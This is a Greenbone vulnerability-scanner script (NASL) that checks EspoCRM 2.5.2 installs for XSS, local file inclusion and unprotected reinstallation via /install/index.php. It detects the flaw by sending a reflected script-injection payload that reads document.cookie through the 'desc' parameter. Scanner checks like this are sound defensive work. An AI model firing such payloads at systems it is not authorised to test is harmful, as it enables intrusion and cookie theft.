EspoCRM '/install/index.php' Multiple Vulnerabilities

# SPDX-FileCopyrightText: 2014 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.804874");
  script_version("2023-12-13T05:05:23+0000");
  script_cve_id("CVE-2014-7985", "CVE-2014-7986", "CVE-2014-7987");
  script_tag(name:"cvss_base", value:"10.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_tag(name:"last_modification", value:"2023-12-13 05:05:23 +0000 (Wed, 13 Dec 2023)");
  script_tag(name:"creation_date", value:"2014-10-30 12:02:52 +0530 (Thu, 30 Oct 2014)");

  script_tag(name:"solution_type", value:"VendorFix");
  script_tag(name:"qod_type", value:"remote_analysis");
  script_name("EspoCRM '/install/index.php' Multiple Vulnerabilities");

  script_tag(name:"summary", value:"EspoCRM is prone to multiple vulnerabilities.");

  script_tag(name:"vuldetect", value:"Send a crafted data via HTTP GET request
  and check whether it is able to read cookie or not.");

  script_tag(name:"insight", value:"Multiple errors are due to:

  - Improper sanitization of input passed via 'action' and 'desc' HTTP GET
  parameters to /install/index.php script.

  - Insufficient access control restriction to the installation script
  /install/index.php.");

  script_tag(name:"impact", value:"Successful exploitation will allow remote
  attackers to execute arbitrary HTML and script code in a users browser session
  in the context of an affected site, include and execute arbitrary local PHP
  files on the system with privileges of the web server, and reinstall the
  application.");

  script_tag(name:"affected", value:"EspoCRM version 2.5.2 and probably
  earlier.");

  script_tag(name:"solution", value:"Upgrade to EspoCRM version 2.6.0 or later.");

  script_xref(name:"URL", value:"https://www.htbridge.com/advisory/HTB23238");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/70806");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/70809");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/70811");
  script_xref(name:"URL", value:"http://www.securityfocus.com/archive/1/533844");

  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2014 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("find_service.nasl", "no404.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl", "gb_php_http_detect.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 80);
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_xref(name:"URL", value:"http://www.espocrm.com/");
  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("list_array_func.inc");

http_port = http_get_port(default:80);

if(!http_can_host_php(port:http_port)){
  exit(0);
}

foreach dir (make_list_unique("/", "/EspoCRM", "/crm", "/CRM", http_cgi_dirs(port:http_port)))
{

  if(dir == "/") dir = "";

  rcvRes = http_get_cache(item:string(dir, "/index.php"),  port:http_port);

  if(rcvRes && ">EspoCRM<" >< rcvRes && rcvRes =~ ">&copy.*>EspoCRM<")
  {
    url = dir + "/install/index.php?installProcess=1&action=errors&d"
              + "esc=<script>alert(document.cookie);</script>";

    if(http_vuln_check(port:http_port, url:url, check_header:TRUE,
                       pattern:"<script>alert\(document\.cookie\);</script>",
                       extra_check:make_list(">EspoCRM<", "License Agreement")))
    {
      report = http_report_vuln_url( port:http_port, url:url );
      security_message(port:http_port, data:report);
      exit(0);
    }
  }
}

exit(99);